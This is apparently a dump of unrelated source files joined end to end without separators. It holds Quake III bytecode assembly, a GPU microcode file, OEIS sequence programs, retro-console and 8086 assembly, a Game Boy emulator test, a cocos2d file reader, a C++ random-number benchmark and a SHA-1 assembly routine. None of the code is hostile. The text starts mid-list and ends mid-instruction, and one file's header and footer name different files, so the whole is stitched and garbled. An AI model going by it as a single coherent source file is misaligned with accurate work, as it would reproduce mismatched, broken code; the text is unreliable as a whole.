cg_drawStatus import cg_crosshairHealth import cg_crosshairSize import cg_crosshairY import cg_crosshairX import cg_teamOverlayUserinfo import cg_drawTeamOverlay import cg_drawRewards import cg_drawCrosshairNames import cg_drawCrosshair import cg_drawAmmoWarning import cg_drawIcons import cg_draw3dIcons import cg_drawSnapshot import cg_drawFPS import cg_drawTimer import cg_gibs import cg_shadows import cg_swingSpeed import cg_bobroll import cg_bobpitch import cg_bobup import cg_runroll import cg_runpitch import cg_centertime export cg_markPolys align 4 LABELV cg_markPolys skip 73728 import cg_items import cg_weapons import cg_entities import cg import cgs import BG_PlayerTouchesItem import BG_PlayerStateToEntityStateExtraPolate import BG_PlayerStateToEntityState import BG_TouchJumpPad import BG_AddPredictableEventToPlayerstate import BG_EvaluateTrajectoryDelta import BG_EvaluateTrajectory import BG_CanItemBeGrabbed import BG_FindItemForHoldable import BG_FindItemForPowerup import BG_FindItemForWeapon import BG_FindItem import bg_numItems import bg_itemlist import Pmove import PM_UpdateViewAngles import Com_Printf import Com_Error import Info_NextPair import Info_Validate import Info_SetValueForKey_Big import Info_SetValueForKey import Info_RemoveKey_Big import Info_RemoveKey import Info_ValueForKey import Com_TruncateLongString import va import Q_CountChar import Q_CleanStr import Q_PrintStrlen import Q_strcat import Q_strncpyz import Q_stristr import Q_strupr import Q_strlwr import Q_stricmpn import Q_strncmp import Q_stricmp import Q_isintegral import Q_isanumber import Q_isalpha import Q_isupper import Q_islower import Q_isprint import Com_RandomBytes import Com_SkipCharset import Com_SkipTokens import Com_sprintf import Com_HexStrToInt import Parse3DMatrix import Parse2DMatrix import Parse1DMatrix import SkipRestOfLine import SkipBracedSection import COM_MatchToken import COM_ParseWarning import COM_ParseError import COM_Compress import COM_ParseExt import COM_Parse import COM_GetCurrentParseLine import COM_BeginParseSession import COM_DefaultExtension import COM_CompareExtension import COM_StripExtension import COM_GetExtension import COM_SkipPath import Com_Clamp import PerpendicularVector import AngleVectors import MatrixMultiply import MakeNormalVectors import RotateAroundDirection import RotatePointAroundVector import ProjectPointOnPlane import PlaneFromPoints import AngleDelta import AngleNormalize180 import AngleNormalize360 import AnglesSubtract import AngleSubtract import LerpAngle import AngleMod import BoundsIntersectPoint import BoundsIntersectSphere import BoundsIntersect import BoxOnPlaneSide import SetPlaneSignbits import AxisCopy import AxisClear import AnglesToAxis import vectoangles import Q_crandom import Q_random import Q_rand import Q_acos import Q_log2 import VectorRotate import Vector4Scale import VectorNormalize2 import VectorNormalize import CrossProduct import VectorInverse import VectorNormalizeFast import DistanceSquared import Distance import VectorLengthSquared import VectorLength import VectorCompare import AddPointToBounds import ClearBounds import RadiusFromBounds import NormalizeColor import ColorBytes4 import ColorBytes3 import _VectorMA import _VectorScale import _VectorCopy import _VectorAdd import _VectorSubtract import _DotProduct import ByteToDir import DirToByte import ClampShort import ClampChar import Q_rsqrt import Q_fabs import Q_isnan import axisDefault import vec3_origin import g_color_table import colorDkGrey import colorMdGrey import colorLtGrey import colorWhite import colorCyan import colorMagenta import colorYellow import colorBlue import colorGreen import colorRed import colorBlack import bytedirs import Hunk_AllocDebug import FloatSwap import LongSwap import ShortSwap import CopyLongSwap import CopyShortSwap import qk_acos import qk_fabs import qk_abs import qk_tan import qk_atan2 import qk_cos import qk_sin import qk_sqrt import qk_floor import qk_ceil import qk_memcpy import qk_memset import qk_memmove import qk_sscanf import qk_vsnprintf import qk_strtol import qk_atoi import qk_strtod import qk_atof import qk_toupper import qk_tolower import qk_strncpy import qk_strstr import qk_strrchr import qk_strchr import qk_strcmp import qk_strcpy import qk_strcat import qk_strlen import qk_rand import qk_srand import qk_qsort lit align 1 LABELV $99 byte 1 67 byte 1 71 byte 1 95 byte 1 73 byte 1 109 byte 1 112 byte 1 97 byte 1 99 byte 1 116 byte 1 77 byte 1 97 byte 1 114 byte 1 107 byte 1 32 byte 1 99 byte 1 97 byte 1 108 byte 1 108 byte 1 101 byte 1 100 byte 1 32 byte 1 119 byte 1 105 byte 1 116 byte 1 104 byte 1 32 byte 1 60 byte 1 61 byte 1 32 byte 1 48 byte 1 32 byte 1 114 byte 1 97 byte 1 100 byte 1 105 byte 1 117 byte 1 115 byte 1 0 align 1 LABELV $82 byte 1 67 byte 1 71 byte 1 95 byte 1 70 byte 1 114 byte 1 101 byte 1 101 byte 1 76 byte 1 111 byte 1 99 byte 1 97 byte 1 108 byte 1 69 byte 1 110 byte 1 116 byte 1 105 byte 1 116 byte 1 121 byte 1 58 byte 1 32 byte 1 110 byte 1 111 byte 1 116 byte 1 32 byte 1 97 byte 1 99 byte 1 116 byte 1 105 byte 1 118 byte 1 101 byte 1 0
/***************************************************************************** Name : slave_eventhandler.pds.asm Title : PDS Assembly Code Author : Imagination Technologies Created : 08/11/2010 Copyright : 2010 by Imagination Technologies Limited. All rights reserved. No part of this software, either material or conceptual may be copied or distributed, transmitted, transcribed, stored in a retrieval system or translated into any human or computer language in any form by any means, electronic, mechanical, manual or other-wise, or disclosed to third parties without the express written permission of Imagination Technologies Limited, HomePark Industrial Estate, King's Langley, Hertfordshire, WD4 8LZ, U.K. Description : PDS program for handling SGX initialisation Program Type : PDS assembly language Version : $Revision: 1.3 $ Modifications : $Log: slave_eventhandler.pds.asm $ ******************************************************************************/ #include "sgxdefs.h" /***************************************************************************** * Register declarations ******************************************************************************/ #if defined(SGX_FEATURE_MP) /* Constants */ data dword INPUT_IR0_PA_DEST; data dword INPUT_IR1_PA_DEST; data dword INPUT_TA3D_CTL_ADDR; data dword INPUT_TA3D_CTL_PA_DEST; data dword INPUT_DOUTU0; data dword INPUT_DOUTU1; data dword INPUT_DOUTU2; /* Emit input registers to the PAs */ movs douta, ir0, INPUT_IR0_PA_DEST; movs douta, ir1, INPUT_IR1_PA_DEST; movs douta, INPUT_TA3D_CTL_ADDR, INPUT_TA3D_CTL_PA_DEST; #if defined(FIX_HW_BRN_31988) movs douta, INPUT_TA3D_CTL_ADDR, INPUT_TA3D_CTL_PA_DEST; movs douta, INPUT_TA3D_CTL_ADDR, INPUT_TA3D_CTL_PA_DEST; #endif #if !defined(FIX_HW_BRN_25339) && !defined(FIX_HW_BRN_27330) #if defined(FIX_HW_BRN_31474) temp dword tmp0; and tmp0, ir0, EURASIA_PDS_IR0_EDM_EVENT_SW_EVENT2; tstz p0, tmp0; p0 bra NotCacheClearRequest; /* The ukernel has requested the PDS cache be cleared */ bra ClearLine2; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; ClearLine2: bra ClearLine3; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; ClearLine3: bra ClearLine4; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; ClearLine4: bra ClearLine5; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; ClearLine5: bra ClearLine6; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; ClearLine6: bra ClearLine7; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; ClearLine7: bra ClearLine8; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; ClearLine8: /* Jump to the doutu */ bra NotCacheClearRequest; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; NotCacheClearRequest: #endif /* Issue USE task and exit */ movs doutu, INPUT_DOUTU0, INPUT_DOUTU1, INPUT_DOUTU2; halt; #else /* !(FIX_HW_BRN_25339) && !(FIX_HW_BRN_27330) */ /* Temp temps */ temp dword tmp0 = ds1[48]; /* Issue USE task and exit */ mov32 tmp0, INPUT_DOUTU2; movs doutu, INPUT_DOUTU0, INPUT_DOUTU1, tmp0; halt; #endif /* !(FIX_HW_BRN_25339) && !(FIX_HW_BRN_27330) */ #else nop; #endif /****************************************************************************** End of file (sgxinit_primary.pds.asm) ******************************************************************************/
; A322250: Take binary expansion of 2n-1 and delete the trailing block of 1's, except if the number is 11...1, leave a single 1. ; 1,1,2,1,4,2,6,1,8,4,10,2,12,6,14,1,16,8,18,4,20,10,22,2,24,12,26,6,28,14,30,1,32,16,34,8,36,18,38,4,40,20,42,10,44,22,46,2,48,24,50,12,52,26,54,6,56,28,58,14,60,30,62,1,64 mov $1,2 lpb $0,1 add $0,1 add $2,1 gcd $1,$2 mul $1,$0 mov $2,$0 div $0,2 gcd $0,$2 sub $0,1 lpe sub $1,1
assume ds:data,cs:code data segment scode db ? row db ? col db ? pa equ 20a0h pb equ 20a1h pc equ 20a2h cr equ 20a3h table db 0, 0 ,8, 10h data ends code segment start: mov ax, data mov ds,ax mov dx,cr mov al,90h out dx,al repeat: mov bl, 04 mov bh, 03 next_row: mov dx, pc mov al, bl out dx, al mov dx, pa in al, dx cmp al, 00h JNE GO_AHEAD shr bl, 1 dec bh JNZ NEXT_ROW jmp repeat go_ahead:mov row, bh mov ah, 1 rot: ror al, 1 JC NEXT inc ah JMP ROT next: mov col, ah lea si, table mov bl, row mov bh, 00 mov al, [si][bx] add al, col mov scode, al mov ah,2 mov dl, row add dl, 30h int 21h mov ah, 2 mov dl,' ' int 21h mov ah, 2 mov dl, col add dl, 30h int 21h mov ah, 2 mov dl, ' ' int 21h mov al, scode aam add ax, 3030h mov bx, ax mov dl, bh mov ah, 2 int 21h mov dl, bl mov ah, 2 int 21h mov ah,4ch int 21h code ends end start
// (C) 2015 #include "AAPA2.h" #include "TargettedWeapon.h"
db "SEA SLUG@" ; species name db "Beware of pushing" next "strongly on its" next "squishy body, as" page "it may make a" next "mysterious purple" next "fluid ooze out.@"
; [wd0b5] = pokemon ID ; hl = dest addr PrintMonType: call GetPredefRegisters push hl call GetMonHeader pop hl push hl ld a, [wMonHType1] call PrintType ld a, [wMonHType1] ld b, a ld a, [wMonHType2] cp b pop hl jr z, EraseType2Text ld bc, SCREEN_WIDTH * 2 add hl, bc ; a = type ; hl = dest addr PrintType: push hl jr PrintType_ ; erase "TYPE2/" if the mon only has 1 type EraseType2Text: ld a, " " ld bc, $13 add hl, bc ld bc, $6 jp FillMemory PrintMoveType: call GetPredefRegisters push hl ld a, [wPlayerMoveType] ; fall through PrintType_: add a ld hl, TypeNames ld e, a ld d, $0 add hl, de ld a, [hli] ld e, a ld d, [hl] pop hl jp PlaceString INCLUDE "text/type_names.asm"
start: ldi r24, 2 sts 0x04, r24 ; DDRB = 1 sts 0x05, r24 ; PORTB = 1 loop: rjmp loop
; int getc(FILE *stream) INCLUDE "clib_cfg.asm" SECTION code_clib SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _getc EXTERN _fgetc defc getc = _fgetc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _getc EXTERN _getc_unlocked defc _getc = _getc_unlocked ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
#include <catch.hpp> #include "GameboyCPU.h" #include "util.h" #include "memory/MemoryManageUnit.h" #include "memory/GPU.h" SCENARIO("Memory Manage Unit", "[MMUNIT]") { GIVEN("A Single Memory Manage Unit, with single cartridge.") { std::shared_ptr<MockMemory> ptr_mock_memory = std::make_shared<MockMemory>(); std::shared_ptr<MemoryManageUnit> ptr_memory_manage_unit = std::make_shared<MemoryManageUnit>( std::static_pointer_cast<MemoryInterface>( ptr_mock_memory ), nullptr ); WHEN("Write to High - RAM Address.") { WORD address = 0xff80; BYTE value = 0x20; REQUIRE_NOTHROW( ptr_memory_manage_unit->Set( address, value ) ); THEN("and Can Read.") { REQUIRE( ptr_memory_manage_unit->Get( address ) == value ); } } WHEN("Write to ROM BANK Addresses") { for(int i = 0; i < 0x8000; i++) { ptr_memory_manage_unit->Set( i, i ); } THEN("Nothing Write.") { for( int i = 0; i < 0x8000; i++ ) { REQUIRE( ptr_memory_manage_unit->Get( i ) == 0 ); } } } WHEN("ACCESS GPU?") { THEN("THROW.") { REQUIRE_THROWS( ptr_memory_manage_unit->Get( 0x8000 ) ); } } } GIVEN("Memory Manage Unit With GPU.") { std::shared_ptr<GPU> ptr_vram = std::make_shared<GPU>(); std::shared_ptr<MemoryManageUnit> ptr_memory_manage_unit = std::make_shared<MemoryManageUnit> ( nullptr, std::static_pointer_cast<GPU>(ptr_vram) ); WHEN("WRITE 0x8250, 3 ") { ptr_memory_manage_unit->Set( 0x8250, 3 ); THEN("READ 0x8250 == 3") { REQUIRE( ptr_memory_manage_unit->Get( 0x8250 ) == 3 ); } } } GIVEN("Interrupt Enable, 0xffff") { std::shared_ptr<MemoryManageUnit> ptr_memory_manage_unit = std::make_shared<MemoryManageUnit> ( nullptr, nullptr ); WHEN("Write 0xffff, 0xff") // 모든 인터럽트 Enable { ptr_memory_manage_unit->Set( 0xffff, 0xff ); THEN("READ 0xffff == 0x1f") { REQUIRE( ptr_memory_manage_unit->Get( 0xffff ) == 0x1f ); } } } GIVEN("Interrupt Flag, 0xff0f") { std::shared_ptr<MemoryManageUnit> ptr_memory_manage_unit = std::make_shared<MemoryManageUnit> ( nullptr, nullptr ); WHEN("Write 0xff0f, 0xff") // 모든 인터럽트 Enable { ptr_memory_manage_unit->Set( 0xff0f, 0xff ); THEN("READ 0xff0f == 0x1f") { REQUIRE( ptr_memory_manage_unit->Get( 0xff0f ) == 0x1f ); } } } }
/**************************************************************************** Copyright (c) 2014 Chukong Technologies Inc. http://www.cocos2d-x.org Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ****************************************************************************/ #include "3d/CCBundleReader.h" #include "platform/CCFileUtils.h" NS_CC_BEGIN BundleReader::BundleReader() { _buffer = nullptr; _position = 0; _length = 0; }; BundleReader::~BundleReader() { }; void BundleReader::init(char* buffer, ssize_t length) { _position = 0; _buffer = buffer; _length = length; } ssize_t BundleReader::read(void* ptr, ssize_t size, ssize_t count) { if (!_buffer || eof()) { CCLOG("warning: bundle reader out of range"); return 0; } ssize_t validCount; ssize_t validLength = _length - _position; ssize_t needLength = size*count; char* ptr1 = (char*)ptr; if(validLength < needLength) { validCount = validLength/size; ssize_t readLength = size*validCount; memcpy(ptr1,(char*)_buffer+_position,readLength); ptr1 += readLength; _position += readLength; readLength = validLength - readLength; if(readLength>0) { memcpy(ptr1,(char*)_buffer+_position,readLength); _position += readLength; validCount+=1; } CCLOG("warning: bundle reader out of range"); } else { memcpy(ptr1,(char*)_buffer+_position,needLength); _position += needLength; validCount = count; } return validCount; } char* BundleReader::readLine(int num,char* line) { if (!_buffer) return nullptr; char* buffer = (char*)_buffer+_position; char* p = line; char c; ssize_t readNum = 0; while((c=*buffer) != 10 && readNum < (ssize_t)num && _position < _length) { *p = c; p++; buffer++; _position++; readNum++; } *p = '\0'; return line; } bool BundleReader::eof() { if (!_buffer) return true; return ((ssize_t)tell()) >= length(); } ssize_t BundleReader::length() { return _length; } ssize_t BundleReader::tell() { if (!_buffer) return -1; return _position; } bool BundleReader::seek(long int offset, int origin) { if (!_buffer) return false; if(origin == SEEK_CUR) { _position += offset; } else if(origin == SEEK_SET) { _position = offset; } else if(origin == SEEK_END) { _position = _length+offset; } else return false; return true; } bool BundleReader::rewind() { if (_buffer != nullptr) { _position = 0; return true; } return false; } std::string BundleReader::readString() { unsigned int length; if(read(&length, 4, 1) != 1) { return std::string(); } std::string str; ssize_t validLength = _length - _position; if (length > 0 && static_cast<ssize_t>(length) <= validLength) { str.resize(length); if (read(&str[0], 1, length) != length) { return std::string(); } } return str; } bool BundleReader::readMatrix(float* m) { return (read(m, sizeof(float), 16) == 16); } NS_CC_END
; A144196: Square array (6 X 6) read by rows. ; 0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0 mul $0,2 add $0,4 lpb $0 mul $0,2 sub $0,1 mov $3,$0 cal $3,132749 ; Triangle T(n,k) = binomial(n, k) with T(n, 0) = 2, read by rows. add $2,$3 mov $0,$2 mul $0,2 sub $0,1 pow $0,3 cmp $1,0 lpe
; name: VARIABLES - integer and combination variables. Also UTF-8 ; code: "998874c3b66d6d699900880074c3b66d6d699900000000000000880000000000000074c3b66d6d690000338889337700" tommi db 0x99, 0x88, 'tömmi' dw 0x99, 0x88, 'tömmi' dq 0x99, 0x88, 'tömmi' db 0x33, 0x88 dw 0x3389, 0x77
#include <SDKDDKVer.h> #include <ppl.h> #include <stdio.h> #include <tchar.h> #include <iostream> #include <time.h> #include <vector> #include <tuple> #include <winsock2.h> #include <ws2tcpip.h> #include "LuaState.h" #include "AdvancedMathLuaExtensions.h" using namespace Novah::Lua; static unsigned int g_randomValue; static uint32_t x, y, z, w; inline void SeedRandom(int seed1, int seed2, int seed3, int seed4) { g_randomValue = seed1; x = seed1; y = seed2; z = seed3; w = seed4; } inline int GetRandom() { g_randomValue = 214013 * g_randomValue + 2531011; return (g_randomValue >> 16) & 0x7FFF; } inline uint32_t xorshift128(); inline float NormalizedRandom() { //return (float)(GetRandom() % RAND_MAX) / (float)RAND_MAX; //return (float)(xorshift128() / (float)0xFFFFFFFF); union { float ranf; uint32_t rani; }; g_randomValue *= 16807; rani = (g_randomValue & 0x7FFFFF) | 0x3F800000; ranf -= 1.0f; return ranf; //g_randomValue *= 16807; //return (float)(g_randomValue / (float)0xFFFFFFFF); } inline uint32_t xorshift128() { uint32_t t = x; t ^= t << 11; t ^= t >> 8; x = y; y = z; z = w; w ^= w >> 19; w ^= t; return w; } int _tmain(int argc, _TCHAR* argv[]) { /* auto luaState = new LuaState(); luaL_openlibs(luaState->GetInternalState()); luaState->LoadStringAndExecute(R"strend( function shade(point, normal) local x = math.abs(math.floor((point.X + 0.001) / 5.0)); local y = math.abs(math.floor((point.Y + 0.001) / 5.0)); local z = math.abs(math.floor((point.Z + 0.001) / 5.0)); local xmod = x % 2; local ymod = y % 2; local zmod = z % 2; if xmod == ymod and ymod == zmod then return {X = 0.4, Y = 0.8, Z = 0.4}; else return {X = 1.0, Y = 1.0, Z = 1.0}; end end )strend"); Vector3 point(5.0, 3.0, 9.0); auto result = luaState->Call<Vector3>("shade", point); std::cout << result.X << " : " << result.Y << " : " << result.Z << std::endl; return 0;*/ time_t currentTime; SeedRandom((int)time(&currentTime), (int)time(&currentTime) + 1, (int)time(&currentTime) + 2, (int)time(&currentTime) + 3); float finalResult = 0.0f; // Start the counter. LARGE_INTEGER startingTime, endingTime, frequency; QueryPerformanceFrequency(&frequency); QueryPerformanceCounter(&startingTime); for (int i = 0; i < 10000000; i++) { finalResult += NormalizedRandom(); } // End the counter. QueryPerformanceCounter(&endingTime); double elapsed = endingTime.QuadPart - startingTime.QuadPart; elapsed *= 1000.0; elapsed /= frequency.QuadPart; std::cout << "Elapsed milliseconds: " << elapsed << std::endl; for (int i = 0; i < 20; i++) { std::cout << NormalizedRandom() << std::endl; } return (int)finalResult; }
default rel %define XMMWORD section .text code align=64 EXTERN _gnutls_x86_cpuid_s global sha1_block_data_order ALIGN 16 sha1_block_data_order: mov QWORD[8+rsp],rdi ;WIN64 prologue mov QWORD[16+rsp],rsi mov rax,rsp $L$SEH_begin_sha1_block_data_order: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov r9d,DWORD[((_gnutls_x86_cpuid_s+0))] mov r8d,DWORD[((_gnutls_x86_cpuid_s+4))] test r8d,512 jz NEAR $L$ialu and r8d,268435456 and r9d,1073741824 or r8d,r9d cmp r8d,1342177280 je NEAR _avx_shortcut jmp NEAR _ssse3_shortcut ALIGN 16 $L$ialu: push rbx push rbp push r12 push r13 mov r11,rsp mov r8,rdi sub rsp,72 mov r9,rsi and rsp,-64 mov r10,rdx mov QWORD[64+rsp],r11 $L$prologue: mov esi,DWORD[r8] mov edi,DWORD[4+r8] mov r11d,DWORD[8+r8] mov r12d,DWORD[12+r8] mov r13d,DWORD[16+r8] jmp NEAR $L$loop ALIGN 16 $L$loop: mov edx,DWORD[r9] bswap edx mov DWORD[rsp],edx mov eax,r11d mov ebp,DWORD[4+r9] mov ecx,esi xor eax,r12d bswap ebp rol ecx,5 lea r13d,[1518500249+r13*1+rdx] and eax,edi mov DWORD[4+rsp],ebp add r13d,ecx xor eax,r12d rol edi,30 add r13d,eax mov eax,edi mov edx,DWORD[8+r9] mov ecx,r13d xor eax,r11d bswap edx rol ecx,5 lea r12d,[1518500249+r12*1+rbp] and eax,esi mov DWORD[8+rsp],edx add r12d,ecx xor eax,r11d rol esi,30 add r12d,eax mov eax,esi mov ebp,DWORD[12+r9] mov ecx,r12d xor eax,edi bswap ebp rol ecx,5 lea r11d,[1518500249+r11*1+rdx] and eax,r13d mov DWORD[12+rsp],ebp add r11d,ecx xor eax,edi rol r13d,30 add r11d,eax mov eax,r13d mov edx,DWORD[16+r9] mov ecx,r11d xor eax,esi bswap edx rol ecx,5 lea edi,[1518500249+rdi*1+rbp] and eax,r12d mov DWORD[16+rsp],edx add edi,ecx xor eax,esi rol r12d,30 add edi,eax mov eax,r12d mov ebp,DWORD[20+r9] mov ecx,edi xor eax,r13d bswap ebp rol ecx,5 lea esi,[1518500249+rsi*1+rdx] and eax,r11d mov DWORD[20+rsp],ebp add esi,ecx xor eax,r13d rol r11d,30 add esi,eax mov eax,r11d mov edx,DWORD[24+r9] mov ecx,esi xor eax,r12d bswap edx rol ecx,5 lea r13d,[1518500249+r13*1+rbp] and eax,edi mov DWORD[24+rsp],edx add r13d,ecx xor eax,r12d rol edi,30 add r13d,eax mov eax,edi mov ebp,DWORD[28+r9] mov ecx,r13d xor eax,r11d bswap ebp rol ecx,5 lea r12d,[1518500249+r12*1+rdx] and eax,esi mov DWORD[28+rsp],ebp add r12d,ecx xor eax,r11d rol esi,30 add r12d,eax mov eax,esi mov edx,DWORD[32+r9] mov ecx,r12d xor eax,edi bswap edx rol ecx,5 lea r11d,[1518500249+r11*1+rbp] and eax,r13d mov DWORD[32+rsp],edx add r11d,ecx xor eax,edi rol r13d,30 add r11d,eax mov eax,r13d mov ebp,DWORD[36+r9] mov ecx,r11d xor eax,esi bswap ebp rol ecx,5 lea edi,[1518500249+rdi*1+rdx] and eax,r12d mov DWORD[36+rsp],ebp add edi,ecx xor eax,esi rol r12d,30 add edi,eax mov eax,r12d mov edx,DWORD[40+r9] mov ecx,edi xor eax,r13d bswap edx rol ecx,5 lea esi,[1518500249+rsi*1+rbp] and eax,r11d mov DWORD[40+rsp],edx add esi,ecx xor eax,r13d rol r11d,30 add esi,eax mov eax,r11d mov ebp,DWORD[44+r9] mov ecx,esi xor eax,r12d bswap ebp rol ecx,5 lea r13d,[1518500249+r13*1+rdx] and eax,edi mov DWORD[44+rsp],ebp add r13d,ecx xor eax,r12d rol edi,30 add r13d,eax mov eax,edi mov edx,DWORD[48+r9] mov ecx,r13d xor eax,r11d bswap edx rol ecx,5 lea r12d,[1518500249+r12*1+rbp] and eax,esi mov DWORD[48+rsp],edx add r12d,ecx xor eax,r11d rol esi,30 add r12d,eax mov eax,esi mov ebp,DWORD[52+r9] mov ecx,r12d xor eax,edi bswap ebp rol ecx,5 lea r11d,[1518500249+r11*1+rdx] and eax,r13d mov DWORD[52+rsp],ebp add r11d,ecx xor eax,edi rol r13d,30 add r11d,eax mov eax,r13d mov edx,DWORD[56+r9] mov ecx,r11d xor eax,esi bswap edx rol ecx,5 lea edi,[1518500249+rdi*1+rbp] and eax,r12d mov DWORD[56+rsp],edx add edi,ecx xor eax,esi rol r12d,30 add edi,eax mov eax,r12d mov ebp,DWORD[60+r9] mov ecx,edi xor eax,r13d bswap ebp rol ecx,5 lea esi,[1518500249+rsi*1+rdx] and eax,r11d mov DWORD[60+rsp],ebp add esi,ecx xor eax,r13d rol r11d,30 add esi,eax mov edx,DWORD[rsp] mov eax,r11d mov ecx,esi xor edx,DWORD[8+rsp] xor eax,r12d rol ecx,5 xor edx,DWORD[32+rsp] and eax,edi lea r13d,[1518500249+r13*1+rbp] xor edx,DWORD[52+rsp] xor eax,r12d rol edx,1 add r13d,ecx rol edi,30 mov DWORD[rsp],edx add r13d,eax mov ebp,DWORD[4+rsp] mov eax,edi mov ecx,r13d xor ebp,DWORD[12+rsp] xor eax,r11d rol ecx,5 xor ebp,DWORD[36+rsp] and eax,esi lea r12d,[1518500249+r12*1+rdx] xor ebp,DWORD[56+rsp] xor eax,r11d rol ebp,1 add r12d,ecx rol esi,30 mov DWORD[4+rsp],ebp add r12d,eax mov edx,DWORD[8+rsp] mov eax,esi mov ecx,r12d xor edx,DWORD[16+rsp] xor eax,edi rol ecx,5 xor edx,DWORD[40+rsp] and eax,r13d lea r11d,[1518500249+r11*1+rbp] xor edx,DWORD[60+rsp] xor eax,edi rol edx,1 add r11d,ecx rol r13d,30 mov DWORD[8+rsp],edx add r11d,eax mov ebp,DWORD[12+rsp] mov eax,r13d mov ecx,r11d xor ebp,DWORD[20+rsp] xor eax,esi rol ecx,5 xor ebp,DWORD[44+rsp] and eax,r12d lea edi,[1518500249+rdi*1+rdx] xor ebp,DWORD[rsp] xor eax,esi rol ebp,1 add edi,ecx rol r12d,30 mov DWORD[12+rsp],ebp add edi,eax mov edx,DWORD[16+rsp] mov eax,r12d mov ecx,edi xor edx,DWORD[24+rsp] xor eax,r13d rol ecx,5 xor edx,DWORD[48+rsp] and eax,r11d lea esi,[1518500249+rsi*1+rbp] xor edx,DWORD[4+rsp] xor eax,r13d rol edx,1 add esi,ecx rol r11d,30 mov DWORD[16+rsp],edx add esi,eax mov ebp,DWORD[20+rsp] mov eax,r11d mov ecx,esi xor ebp,DWORD[28+rsp] xor eax,edi rol ecx,5 lea r13d,[1859775393+r13*1+rdx] xor ebp,DWORD[52+rsp] xor eax,r12d add r13d,ecx xor ebp,DWORD[8+rsp] rol edi,30 add r13d,eax rol ebp,1 mov DWORD[20+rsp],ebp mov edx,DWORD[24+rsp] mov eax,edi mov ecx,r13d xor edx,DWORD[32+rsp] xor eax,esi rol ecx,5 lea r12d,[1859775393+r12*1+rbp] xor edx,DWORD[56+rsp] xor eax,r11d add r12d,ecx xor edx,DWORD[12+rsp] rol esi,30 add r12d,eax rol edx,1 mov DWORD[24+rsp],edx mov ebp,DWORD[28+rsp] mov eax,esi mov ecx,r12d xor ebp,DWORD[36+rsp] xor eax,r13d rol ecx,5 lea r11d,[1859775393+r11*1+rdx] xor ebp,DWORD[60+rsp] xor eax,edi add r11d,ecx xor ebp,DWORD[16+rsp] rol r13d,30 add r11d,eax rol ebp,1 mov DWORD[28+rsp],ebp mov edx,DWORD[32+rsp] mov eax,r13d mov ecx,r11d xor edx,DWORD[40+rsp] xor eax,r12d rol ecx,5 lea edi,[1859775393+rdi*1+rbp] xor edx,DWORD[rsp] xor eax,esi add edi,ecx xor edx,DWORD[20+rsp] rol r12d,30 add edi,eax rol edx,1 mov DWORD[32+rsp],edx mov ebp,DWORD[36+rsp] mov eax,r12d mov ecx,edi xor ebp,DWORD[44+rsp] xor eax,r11d rol ecx,5 lea esi,[1859775393+rsi*1+rdx] xor ebp,DWORD[4+rsp] xor eax,r13d add esi,ecx xor ebp,DWORD[24+rsp] rol r11d,30 add esi,eax rol ebp,1 mov DWORD[36+rsp],ebp mov edx,DWORD[40+rsp] mov eax,r11d mov ecx,esi xor edx,DWORD[48+rsp] xor eax,edi rol ecx,5 lea r13d,[1859775393+r13*1+rbp] xor edx,DWORD[8+rsp] xor eax,r12d add r13d,ecx xor edx,DWORD[28+rsp] rol edi,30 add r13d,eax rol edx,1 mov DWORD[40+rsp],edx mov ebp,DWORD[44+rsp] mov eax,edi mov ecx,r13d xor ebp,DWORD[52+rsp] xor eax,esi rol ecx,5 lea r12d,[1859775393+r12*1+rdx] xor ebp,DWORD[12+rsp] xor eax,r11d add r12d,ecx xor ebp,DWORD[32+rsp] rol esi,30 add r12d,eax rol ebp,1 mov DWORD[44+rsp],ebp mov edx,DWORD[48+rsp] mov eax,esi mov ecx,r12d xor edx,DWORD[56+rsp] xor eax,r13d rol ecx,5 lea r11d,[1859775393+r11*1+rbp] xor edx,DWORD[16+rsp] xor eax,edi add r11d,ecx xor edx,DWORD[36+rsp] rol r13d,30 add r11d,eax rol edx,1 mov DWORD[48+rsp],edx mov ebp,DWORD[52+rsp] mov eax,r13d mov ecx,r11d xor ebp,DWORD[60+rsp] xor eax,r12d rol ecx,5 lea edi,[1859775393+rdi*1+rdx] xor ebp,DWORD[20+rsp] xor eax,esi add edi,ecx xor ebp,DWORD[40+rsp] rol r12d,30 add edi,eax rol ebp,1 mov DWORD[52+rsp],ebp mov edx,DWORD[56+rsp] mov eax,r12d mov ecx,edi xor edx,DWORD[rsp] xor eax,r11d rol ecx,5 lea 